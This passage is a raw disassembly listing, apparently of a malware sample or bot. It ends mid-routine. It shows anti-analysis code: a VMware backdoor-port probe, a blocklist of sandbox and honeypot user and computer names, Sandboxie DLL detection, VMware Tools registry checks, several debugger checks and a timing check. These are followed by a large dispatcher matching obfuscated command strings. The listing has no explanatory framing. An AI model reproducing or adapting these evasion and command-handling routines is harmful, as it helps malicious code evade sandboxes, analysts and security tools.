XREF: sub_40A7C5+AAp var_19 = byte ptr -19h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437318 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_19], 1 and [ebp+var_4], 0 push edx push ecx push ebx mov eax, 564D5868h mov ebx, 0 mov ecx, 0Ah mov edx, 5658h in eax, dx cmp ebx, 564D5868h setz [ebp+var_19] pop ebx pop ecx pop edx jmp short loc_40A604 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] and [ebp+var_19], 0 loc_40A604: ; CODE XREF: sub_40A5A4+53j or [ebp+var_4], 0FFFFFFFFh mov al, [ebp+var_19] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_40A5A4 endp ; =============== S U B R O U T I N E ======================================= sub_40A61A proc near ; CODE XREF: sub_40A7C5:loc_40A80Dp mov eax, large fs:30h mov eax, [eax+0Ch] mov eax, [eax+0Ch] add dword ptr [eax+20h], 2000h retn sub_40A61A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A62E proc near ; CODE XREF: sub_40A7C5+B3p var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 104h lea eax, [ebp+var_104] push 104h push eax push 0 call dword_43717C ; GetModuleFileNameA lea eax, [ebp+var_104] push offset dword_43F0C0 push eax call sub_42AEA0 pop ecx xor eax, eax pop ecx leave retn sub_40A62E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A662 proc near ; CODE XREF: sub_40A7C5+BCp var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 134h push esi lea eax, [ebp+var_4] push edi push eax lea eax, [ebp+var_B4] mov esi, offset aTu4nh09smcg1hc ; "TU-4NH09SMCG1HC" push eax mov [ebp+var_34], esi mov [ebp+var_30], offset aRoo ; "roo" mov [ebp+var_2C], offset aSandbox ; "Sandbox" mov [ebp+var_28], offset aSnort ; "snort" mov [ebp+var_24], offset aHoney ; "honey" mov [ebp+var_20], offset aHoneyc ; "honeyc" mov [ebp+var_1C], offset aHoneyd ; "honeyd" mov [ebp+var_18], offset aHoneymule ; "HoneyMule" mov [ebp+var_14], offset aVmware ; "vmware" mov [ebp+var_10], offset aCurrentuser ; "currentuser" mov [ebp+var_C], offset aNepenthes ; "nepenthes" mov [ebp+var_8], offset aImail8_001531N ; "(IMail 8.00 153-1) NT-ESMTP Server X1" mov [ebp+var_4], 80h call dword_43700C ; GetUserNameA lea eax, [ebp+var_B4] push eax call dword_43726C ; CharLowerA xor edi, edi loc_40A6E9: ; CODE XREF: sub_40A662+A1j push [ebp+edi*4+var_34] lea eax, [ebp+var_B4] push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_40A72C inc edi cmp edi, 0Ch jb short loc_40A6E9 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_134] push eax call dword_43709C ; GetComputerNameA test eax, eax jz short loc_40A731 lea eax, [ebp+var_134] push esi push eax call dword_437178 ; lstrcmpiA test eax, eax jnz short loc_40A731 loc_40A72C: ; CODE XREF: sub_40A662+9Bj xor eax, eax inc eax jmp short loc_40A733 ; --------------------------------------------------------------------------- loc_40A731: ; CODE XREF: sub_40A662+B6j ; sub_40A662+C8j xor eax, eax loc_40A733: ; CODE XREF: sub_40A662+CDj pop edi pop esi leave retn sub_40A662 endp ; =============== S U B R O U T I N E ======================================= sub_40A737 proc near ; CODE XREF: sub_40A7C5+C5p push ebx push esi mov ebx, 224h push edi push ebx call sub_4297B8 mov esi, eax pop ecx test esi, esi jz short loc_40A7BA call dword_4370AC ; GetCurrentProcessId push eax push 8 call sub_4290AC ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40A7BA push esi push edi mov [esi], ebx call sub_4290A6 ; Module32First test eax, eax jz short loc_40A7AC push esi push edi call sub_4290A0 ; Module32Next test eax, eax jz short loc_40A7AC lea ebx, [esi+120h] loc_40A77F: ; CODE XREF: sub_40A737+73j push offset aSbiedllx ; "SbieDllX" push ebx call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_40A7C0 push offset aSandboxie ; "Sandboxie" push ebx call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_40A7C0 push esi push edi call sub_4290A0 ; Module32Next test eax, eax jnz short loc_40A77F loc_40A7AC: ; CODE XREF: sub_40A737+35j ; sub_40A737+40j push edi call dword_437044 ; CloseHandle push esi call sub_4298F2 pop ecx loc_40A7BA: ; CODE XREF: sub_40A737+13j ; sub_40A737+28j xor eax, eax loc_40A7BC: ; CODE XREF: sub_40A737+8Cj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40A7C0: ; CODE XREF: sub_40A737+57j ; sub_40A737+68j xor eax, eax inc eax jmp short loc_40A7BC sub_40A737 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7C5 proc near ; CODE XREF: sub_418E0F+Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch cmp dword_456210, 0 push ebx push esi push edi jz short loc_40A7DF xor eax, eax inc eax jmp loc_40A917 ; --------------------------------------------------------------------------- loc_40A7DF: ; CODE XREF: sub_40A7C5+10j and [ebp+var_4], 0 mov esi, offset aKernel32_dll ; "KERNEL32.DLL" push esi call dword_437070 ; GetModuleHandleA test eax, eax jnz short loc_40A7FE push esi call dword_437034 ; LoadLibraryA test eax, eax jz short loc_40A80D loc_40A7FE: ; CODE XREF: sub_40A7C5+2Cj push offset aIsdebuggerpres ; "IsDebuggerPresent" push eax call dword_437030 ; GetProcAddress mov [ebp+var_4], eax loc_40A80D: ; CODE XREF: sub_40A7C5+37j call sub_40A61A call dword_437188 ; GetTickCount mov [ebp+var_C], eax mov esi, offset sub_40A91C mov al, [esi] cmp al, 0CCh jz short loc_40A82A xor eax, eax jmp short loc_40A82F ; --------------------------------------------------------------------------- loc_40A82A: ; CODE XREF: sub_40A7C5+5Fj mov eax, 1 loc_40A82F: ; CODE XREF: sub_40A7C5+63j test al, al jz short loc_40A83B loc_40A833: ; CODE XREF: sub_40A7C5+9Fj ; sub_40A7C5+A8j ... xor edi, edi inc edi jmp loc_40A90B ; --------------------------------------------------------------------------- loc_40A83B: ; CODE XREF: sub_40A7C5+6Cj mov [ebp+var_8], offset aDaemon ; "DAEMON" push 0 push [ebp+var_8] mov eax, large fs:30h movzx eax, byte ptr [eax+2] or al, al jz short loc_40A857 jmp short loc_40A85B ; --------------------------------------------------------------------------- loc_40A857: ; CODE XREF: sub_40A7C5+8Ej xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40A85B: ; CODE XREF: sub_40A7C5+90j mov eax, 1 leave retn ; --------------------------------------------------------------------------- test al, al jnz short loc_40A833 call loc_40A514 test al, al jnz short loc_40A833 call sub_40A5A4 test al, al jnz short loc_40A833 call sub_40A62E test eax, eax jnz short loc_40A833 call sub_40A662 test eax, eax jnz short loc_40A833 call sub_40A737 xor edi, edi inc edi test eax, eax jnz short loc_40A90B push edi mov ebx, offset aSoftwareVmware ; "SOFTWARE\\VMware, Inc.\\VMware Tools" push offset aInstallpath ; "InstallPath" mov esi, 80000002h push ebx push esi call sub_421092 add esp, 10h test eax, eax jnz short loc_40A90B push 4 push offset aShowtray ; "ShowTray" push ebx push esi call sub_421092 add esp, 10h test eax, eax jnz short loc_40A90B cmp [ebp+var_4], eax jz short loc_40A8FB lea eax, [ebp+var_4] mov [ebp+var_8], eax mov esi, [ebp+var_8] mov al, [esi] cmp al, 0CCh jz short loc_40A8E1 xor eax, eax jmp short loc_40A8E6 ; --------------------------------------------------------------------------- loc_40A8E1: ; CODE XREF: sub_40A7C5+116j mov eax, 1 loc_40A8E6: ; CODE XREF: sub_40A7C5+11Aj test al, al jnz short loc_40A90B call [ebp+var_4] test eax, eax jnz short loc_40A90B call dword_4370B0 ; IsDebuggerPresent test eax, eax jnz short loc_40A90B loc_40A8FB: ; CODE XREF: sub_40A7C5+107j call dword_437188 ; GetTickCount sub eax, [ebp+var_C] cmp eax, 1388h jbe short loc_40A915 loc_40A90B: ; CODE XREF: sub_40A7C5+71j ; sub_40A7C5+CFj ... mov dword_456210, edi mov eax, edi jmp short loc_40A917 ; --------------------------------------------------------------------------- loc_40A915: ; CODE XREF: sub_40A7C5+144j xor eax, eax loc_40A917: ; CODE XREF: sub_40A7C5+15j ; sub_40A7C5+14Ej pop edi pop esi pop ebx leave retn sub_40A7C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A91C proc near ; DATA XREF: sub_40A7C5+56o arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov al, [esi] cmp al, 0CCh jz short loc_40A92D xor eax, eax jmp short loc_40A932 ; --------------------------------------------------------------------------- loc_40A92D: ; CODE XREF: sub_40A91C+Bj mov eax, 1 loc_40A932: ; CODE XREF: sub_40A91C+Fj pop esi pop ebp retn sub_40A91C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A935 proc near ; CODE XREF: sub_40A9FE+869p ; sub_40A9FE+9244p ... var_5A8 = byte ptr -5A8h var_5A7 = byte ptr -5A7h var_1A8 = byte ptr -1A8h var_154 = byte ptr -154h var_100 = dword ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 5A8h push ebx push esi push edi lea eax, [ebp+var_5A8] push [ebp+arg_0] push eax call dword_4370B4 ; lstrcpyA cmp [ebp+var_5A7], 0 jz loc_40A9F6 mov al, [ebp+var_5A8] cmp al, byte_4439A0 jnz loc_40A9F6 push 40h lea eax, [ebp+var_100] push [ebp+arg_0] push eax call sub_42777F mov ebx, eax lea eax, [ebp+var_100] push ebx push eax lea eax, [ebp+var_1A8] push eax call sub_42030A add esp, 18h cmp [ebp+var_100], 0 mov esi, eax lea edi, [ebp+var_154] push 15h pop ecx rep movsd jz short loc_40A9F6 mov eax, [ebp+var_100] mov al, [eax] cmp al, byte_4439A0 jnz short loc_40A9F6 push [ebp+arg_10] inc [ebp+var_100] lea eax, [ebp+var_5A8] lea esi, [ebp+var_154] sub esp, 54h push 15h pop ecx mov edi, esp push [ebp+arg_8] rep movsd push [ebp+arg_4] push eax lea eax, [ebp+var_100] push ebx push eax call sub_40A9FE add esp, 6Ch loc_40A9F6: ; CODE XREF: sub_40A935+23j ; sub_40A935+35j ... xor eax, eax pop edi pop esi inc eax pop ebx leave retn sub_40A935 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9FE proc near ; CODE XREF: sub_40A935+B9p ; sub_42045F+10Ep var_6DBB0 = byte ptr -6DBB0h var_6B4A0 = byte ptr -6B4A0h var_68D90 = byte ptr -68D90h var_66680 = byte ptr -66680h var_63F70 = byte ptr -63F70h var_61860 = byte ptr -61860h var_5F150 = byte ptr -5F150h var_5CA40 = byte ptr -5CA40h var_5A330 = byte ptr -5A330h var_57C20 = byte ptr -57C20h var_55510 = byte ptr -55510h var_52E00 = byte ptr -52E00h var_506F0 = byte ptr -506F0h var_4DFE0 = byte ptr -4DFE0h var_4B8D0 = byte ptr -4B8D0h var_491C0 = byte ptr -491C0h var_46AB0 = byte ptr -46AB0h var_443A0 = byte ptr -443A0h var_41C90 = byte ptr -41C90h var_3F580 = byte ptr -3F580h var_3CE70 = byte ptr -3CE70h var_3A760 = byte ptr -3A760h var_38050 = byte ptr -38050h var_35940 = byte ptr -35940h var_33230 = byte ptr -33230h var_30B20 = byte ptr -30B20h var_2E410 = byte ptr -2E410h var_2BD00 = byte ptr -2BD00h var_295F0 = byte ptr -295F0h var_26EE0 = byte ptr -26EE0h var_247D0 = byte ptr -247D0h var_220C0 = byte ptr -220C0h var_1F9B0 = byte ptr -1F9B0h var_1D2A0 = byte ptr -1D2A0h var_1AB90 = byte ptr -1AB90h var_18480 = byte ptr -18480h var_15D70 = byte ptr -15D70h var_13660 = byte ptr -13660h var_10F50 = byte ptr -10F50h var_E840 = byte ptr -0E840h var_C131 = byte ptr -0C131h var_C130 = byte ptr -0C130h var_9A20 = byte ptr -9A20h var_7310 = byte ptr -7310h var_7180 = byte ptr -7180h var_6D80 = byte ptr -6D80h var_6C7C = dword ptr -6C7Ch var_6C78 = byte ptr -6C78h var_6878 = byte ptr -6878h var_6478 = byte ptr -6478h var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = byte ptr -63D4h var_62D0 = byte ptr -62D0h var_61CC = byte ptr -61CCh var_60CC = byte ptr -60CCh var_5FC8 = byte ptr -5FC8h var_5EC8 = byte ptr -5EC8h var_5DC4 = byte ptr -5DC4h var_5CC0 = byte ptr -5CC0h var_5BC0 = dword ptr -5BC0h var_5BBC = dword ptr -5BBCh var_5ABC = byte ptr -5ABCh var_59BC = byte ptr -59BCh var_32AC = byte ptr -32ACh var_31AC = byte ptr -31ACh var_30AC = byte ptr -30ACh var_2FAC = byte ptr -2FACh var_2EA8 = byte ptr -2EA8h var_2DA4 = byte ptr -2DA4h var_2D24 = byte ptr -2D24h var_2C20 = byte ptr -2C20h var_2B80 = byte ptr -2B80h var_2A7C = byte ptr -2A7Ch var_2978 = dword ptr -2978h var_2968 = dword ptr -2968h var_28E4 = dword ptr -28E4h var_28E0 = dword ptr -28E0h var_285C = byte ptr -285Ch var_27D8 = dword ptr -27D8h var_27D4 = dword ptr -27D4h var_27CC = dword ptr -27CCh var_27C8 = byte ptr -27C8h var_2748 = byte ptr -2748h var_26C8 = byte ptr -26C8h var_2648 = dword ptr -2648h var_2644 = dword ptr -2644h var_2640 = dword ptr -2640h var_263C = dword ptr -263Ch var_2638 = dword ptr -2638h var_25B4 = dword ptr -25B4h var_257C = dword ptr -257Ch var_2574 = byte ptr -2574h var_2470 = byte ptr -2470h var_236C = byte ptr -236Ch var_2268 = byte ptr -2268h var_2230 = byte ptr -2230h var_21F8 = byte ptr -21F8h var_21C0 = dword ptr -21C0h var_21B8 = byte ptr -21B8h var_2124 = byte ptr -2124h var_2020 = byte ptr -2020h var_1F98 = dword ptr -1F98h var_1F94 = dword ptr -1F94h var_1F8C = byte ptr -1F8Ch var_1F54 = byte ptr -1F54h var_1F1C = dword ptr -1F1Ch var_1F18 = byte ptr -1F18h var_1E98 = byte ptr -1E98h var_1E18 = byte ptr -1E18h var_1D98 = dword ptr -1D98h var_1D94 = dword ptr -1D94h var_1D90 = dword ptr -1D90h var_1D8C = dword ptr -1D8Ch var_1D88 = dword ptr -1D88h var_1D84 = dword ptr -1D84h var_1D80 = dword ptr -1D80h var_1D7C = dword ptr -1D7Ch var_1D78 = byte ptr -1D78h var_1D44 = dword ptr -1D44h var_1D3C = byte ptr -1D3Ch var_1CBC = byte ptr -1CBCh var_1C34 = dword ptr -1C34h var_1C2C = dword ptr -1C2Ch var_1C28 = dword ptr -1C28h var_1C24 = dword ptr -1C24h var_1C20 = dword ptr -1C20h var_1C18 = dword ptr -1C18h var_1C14 = dword ptr -1C14h var_1C10 = byte ptr -1C10h var_1B90 = byte ptr -1B90h var_1B10 = dword ptr -1B10h var_1B08 = dword ptr -1B08h var_1B04 = dword ptr -1B04h var_1AFC = dword ptr -1AFCh var_1AF8 = dword ptr -1AF8h var_1AF4 = dword ptr -1AF4h var_1AF0 = dword ptr -1AF0h var_1AEC = byte ptr -1AECh var_1A6C = dword ptr -1A6Ch var_1A34 = dword ptr -1A34h var_1A2C = dword ptr -1A2Ch var_1A28 = byte ptr -1A28h var_19A8 = dword ptr -19A8h var_197C = dword ptr -197Ch var_1978 = dword ptr -1978h var_1970 = dword ptr -1970h var_1968 = dword ptr -1968h var_1964 = byte ptr -1964h var_18E4 = byte ptr -18E4h var_1864 = dword ptr -1864h var_1860 = dword ptr -1860h var_185C = dword ptr -185Ch var_1858 = dword ptr -1858h var_1854 = dword ptr -1854h var_1850 = dword ptr -1850h var_184C = dword ptr -184Ch var_1848 = byte ptr -1848h var_17C8 = byte ptr -17C8h var_1748 = dword ptr -1748h var_1744 = dword ptr -1744h var_173C = dword ptr -173Ch var_1738 = dword ptr -1738h var_1734 = dword ptr -1734h var_1730 = dword ptr -1730h var_172C = dword ptr -172Ch var_1724 = byte ptr -1724h var_16A4 = byte ptr -16A4h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = dword ptr -160Ch var_1608 = dword ptr -1608h var_1600 = dword ptr -1600h var_15FC = dword ptr -15FCh var_15F4 = byte ptr -15F4h var_1574 = byte ptr -1574h var_14EC = dword ptr -14ECh var_14E8 = dword ptr -14E8h var_14E4 = dword ptr -14E4h var_14E0 = dword ptr -14E0h var_14DC = dword ptr -14DCh var_14D8 = dword ptr -14D8h var_14D0 = dword ptr -14D0h var_14CC = dword ptr -14CCh var_14C4 = byte ptr -14C4h var_1444 = byte ptr -1444h var_13BC = dword ptr -13BCh var_13B8 = dword ptr -13B8h var_13B4 = dword ptr -13B4h var_13B0 = dword ptr -13B0h var_13AC = dword ptr -13ACh var_13A8 = dword ptr -13A8h var_13A0 = dword ptr -13A0h var_139C = dword ptr -139Ch var_1398 = byte ptr -1398h var_1318 = byte ptr -1318h var_1298 = dword ptr -1298h var_1294 = dword ptr -1294h var_1290 = dword ptr -1290h var_128C = dword ptr -128Ch var_1288 = dword ptr -1288h var_1284 = dword ptr -1284h var_127C = dword ptr -127Ch var_1278 = dword ptr -1278h var_1274 = byte ptr -1274h var_11F4 = byte ptr -11F4h var_1174 = dword ptr -1174h var_1170 = dword ptr -1170h var_116C = dword ptr -116Ch var_1168 = dword ptr -1168h var_1164 = dword ptr -1164h var_1160 = dword ptr -1160h var_115C = dword ptr -115Ch var_1158 = dword ptr -1158h var_1154 = byte ptr -1154h var_10D4 = byte ptr -10D4h var_1054 = dword ptr -1054h var_1050 = dword ptr -1050h var_104C = dword ptr -104Ch var_1048 = dword ptr -1048h var_1044 = dword ptr -1044h var_1040 = dword ptr -1040h var_103C = dword ptr -103Ch var_1038 = dword ptr -1038h var_1034 = byte ptr -1034h var_FB4 = byte ptr -0FB4h var_F34 = dword ptr -0F34h var_F30 = dword ptr -0F30h var_F2C = dword ptr -0F2Ch var_F28 = dword ptr -0F28h var_F24 = dword ptr -0F24h var_F20 = dword ptr -0F20h var_F1C = dword ptr -0F1Ch var_F18 = dword ptr -0F18h var_F14 = byte ptr -0F14h var_E94 = dword ptr -0E94h var_E84 = dword ptr -0E84h var_E80 = dword ptr -0E80h var_E68 = dword ptr -0E68h var_E64 = dword ptr -0E64h var_E5C = dword ptr -0E5Ch var_E54 = dword ptr -0E54h var_E50 = byte ptr -0E50h var_DD0 = dword ptr -0DD0h var_DC0 = dword ptr -0DC0h var_DBC = dword ptr -0DBCh var_DA4 = dword ptr -0DA4h var_DA0 = dword ptr -0DA0h var_D98 = dword ptr -0D98h var_D90 = byte ptr -0D90h var_D5C = byte ptr -0D5Ch var_D28 = byte ptr -0D28h var_CF4 = byte ptr -0CF4h var_CE4 = dword ptr -0CE4h var_CE0 = byte ptr -0CE0h var_C60 = dword ptr -0C60h var_C58 = dword ptr -0C58h var_C54 = dword ptr -0C54h var_C50 = dword ptr -0C50h var_C4C = dword ptr -0C4Ch var_C48 = dword ptr -0C48h var_C44 = byte ptr -0C44h var_BC4 = dword ptr -0BC4h var_BC0 = dword ptr -0BC0h var_BBC = dword ptr -0BBCh var_BB8 = dword ptr -0BB8h var_BB4 = dword ptr -0BB4h var_BB0 = dword ptr -0BB0h var_BAC = byte ptr -0BACh var_B2C = dword ptr -0B2Ch var_B1C = dword ptr -0B1Ch var_B00 = dword ptr -0B00h var_AFC = dword ptr -0AFCh var_AF8 = dword ptr -0AF8h var_AF4 = dword ptr -0AF4h var_AEC = dword ptr -0AECh var_AE8 = byte ptr -0AE8h var_A68 = dword ptr -0A68h var_A4C = dword ptr -0A4Ch var_A3C = dword ptr -0A3Ch var_A38 = dword ptr -0A38h var_A30 = dword ptr -0A30h var_A28 = dword ptr -0A28h var_A24 = byte ptr -0A24h var_970 = dword ptr -970h var_964 = dword ptr -964h var_95C = byte ptr -95Ch var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_850 = dword ptr -850h var_848 = dword ptr -848h var_840 = dword ptr -840h var_838 = dword ptr -838h var_834 = dword ptr -834h var_82C = dword ptr -82Ch var_828 = byte ptr -828h var_7A8 = dword ptr -7A8h var_7A4 = dword ptr -7A4h var_77C = dword ptr -77Ch var_778 = dword ptr -778h var_774 = dword ptr -774h var_770 = dword ptr -770h var_768 = byte ptr -768h var_728 = dword ptr -728h var_724 = byte ptr -724h var_6A4 = dword ptr -6A4h var_6A0 = dword ptr -6A0h var_69C = dword ptr -69Ch var_694 = dword ptr -694h var_690 = dword ptr -690h var_68C = dword ptr -68Ch var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_66C = dword ptr -66Ch var_664 = dword ptr -664h var_660 = byte ptr -660h var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5B4 = dword ptr -5B4h var_5B0 = dword ptr -5B0h var_5AC = dword ptr -5ACh var_5A8 = dword ptr -5A8h var_5A0 = dword ptr -5A0h var_59C = byte ptr -59Ch var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4DC = dword ptr -4DCh var_4D8 = byte ptr -4D8h var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_418 = byte ptr -418h var_314 = byte ptr -314h var_304 = byte ptr -304h var_2F4 = word ptr -2F4h var_2F2 = word ptr -2F2h var_2F0 = dword ptr -2F0h var_2E4 = byte ptr -2E4h var_2D4 = byte ptr -2D4h var_2C4 = byte ptr -2C4h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1F8 = dword ptr -1F8h var_174 = byte ptr -174h var_164 = byte ptr -164h var_154 = byte ptr -154h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = word ptr -90h var_8E = dword ptr -8Eh var_80 = byte ptr -80h var_7C = dword ptr -7Ch var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_68 = dword ptr -68h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_2C = dword ptr 34h arg_30 = dword ptr 38h arg_34 = dword ptr 3Ch arg_38 = byte ptr 40h arg_3C = dword ptr 44h arg_40 = dword ptr 48h arg_44 = dword ptr 4Ch arg_48 = dword ptr 50h arg_4C = dword ptr 54h arg_50 = dword ptr 58h arg_54 = dword ptr 5Ch arg_58 = dword ptr 60h arg_5C = dword ptr 64h arg_60 = dword ptr 68h arg_64 = dword ptr 6Ch arg_68 = dword ptr 70h push ebp mov ebp, esp mov eax, 6DBB0h call sub_429B60 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp [ebp+arg_68], esi push edi mov edi, dword_437178 jz short loc_40AA51 push dword ptr [ebx] push offset aDehziSaO0 ; "deHZI/SA//o0" call edi ; dword_437178 test eax, eax jz loc_414995 push dword ptr [ebx] push offset aEuior0ay2w7__0 ; "EUIOR0ay2w7." call edi ; dword_437178 test eax, eax jz loc_414995 push dword ptr [ebx] push offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1" call edi ; dword_437178 test eax, eax jz loc_414995 loc_40AA51: ; CODE XREF: sub_40A9FE+1Ej cmp [ebp+arg_24], esi jz loc_40AE0F push dword ptr [ebx] push offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue." call edi ; dword_437178 test eax, eax jnz short loc_40AA86 push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" push 6 loc_40AA6E: ; CODE XREF: sub_40A9FE+9Cj ; sub_40A9FE+B2j ... push esi mov eax, [ebp+arg_C] push [ebp+arg_20] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [eax+0Ch] jmp loc_412CB2 ; --------------------------------------------------------------------------- loc_40AA86: ; CODE XREF: sub_40A9FE+67j push dword ptr [ebx] push offset aHyomeIovtv_ ; "HyOMe/iovtV." call edi ; dword_437178 test eax, eax jnz short loc_40AA9C push offset aAl_N0kenp20 ; "Al./N0Kenp20" push 2 jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AA9C: ; CODE XREF: sub_40A9FE+93j push dword ptr [ebx] push offset a47ff020f_0_ ; "47Ff/020f.0." call edi ; dword_437178 test eax, eax jnz short loc_40AAB2 push offset aAl_N0kenp20 ; "Al./N0Kenp20" push 1 jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AAB2: ; CODE XREF: sub_40A9FE+A9j push dword ptr [ebx] push offset aG3obv_r6j7h ; "g3obv.r6j7H/" call edi ; dword_437178 test eax, eax jnz short loc_40AAC8 push offset aLtlec18us5q0 ; "LTLec18US5q0" push 12h jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AAC8: ; CODE XREF: sub_40A9FE+BFj push dword ptr [ebx] push offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx." call edi ; dword_437178 test eax, eax jnz short loc_40AADE push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1" push 13h jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AADE: ; CODE XREF: sub_40A9FE+D5j push dword ptr [ebx] push offset a9ljbh07crkd_ ; "9lJBH07crkD." call edi ; dword_437178 test eax, eax jnz short loc_40AAF7 push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF." push 14h jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40AAF7: ; CODE XREF: sub_40A9FE+EBj push dword ptr [ebx] push offset aVp1weJvqbn_ ; "VP1WE/JVQbn." call edi ; dword_437178 test eax, eax jnz short loc_40AB10 push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push 4 jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40AB10: ; CODE XREF: sub_40A9FE+104j push dword ptr [ebx] push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./" call edi ; dword_437178 test eax, eax jz loc_40AE03 push dword ptr [ebx] push offset a2mo7g0_b0qj ; "2mo7G0.B0qj/" call edi ; dword_437178 test eax, eax jz loc_40AE03 push dword ptr [ebx] push offset a9bwj__lz2my0 ; "9bWj..lZ2My0" call edi ; dword_437178 test eax, eax jnz short loc_40AB5B push [ebp+arg_20] mov eax, [ebp+arg_C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [eax+0Ch] call sub_4033A3 jmp loc_41479B ; --------------------------------------------------------------------------- loc_40AB5B: ; CODE XREF: sub_40A9FE+13Fj push dword ptr [ebx] push offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C." call edi ; dword_437178 test eax, eax jz loc_40ADF7 push dword ptr [ebx] push offset aSxytb1_eejq_ ; "SXYtb1.EEjQ." call edi ; dword_437178 test eax, eax jz loc_40ADF7 push dword ptr [ebx] push offset aVb1r0N_arr0 ; 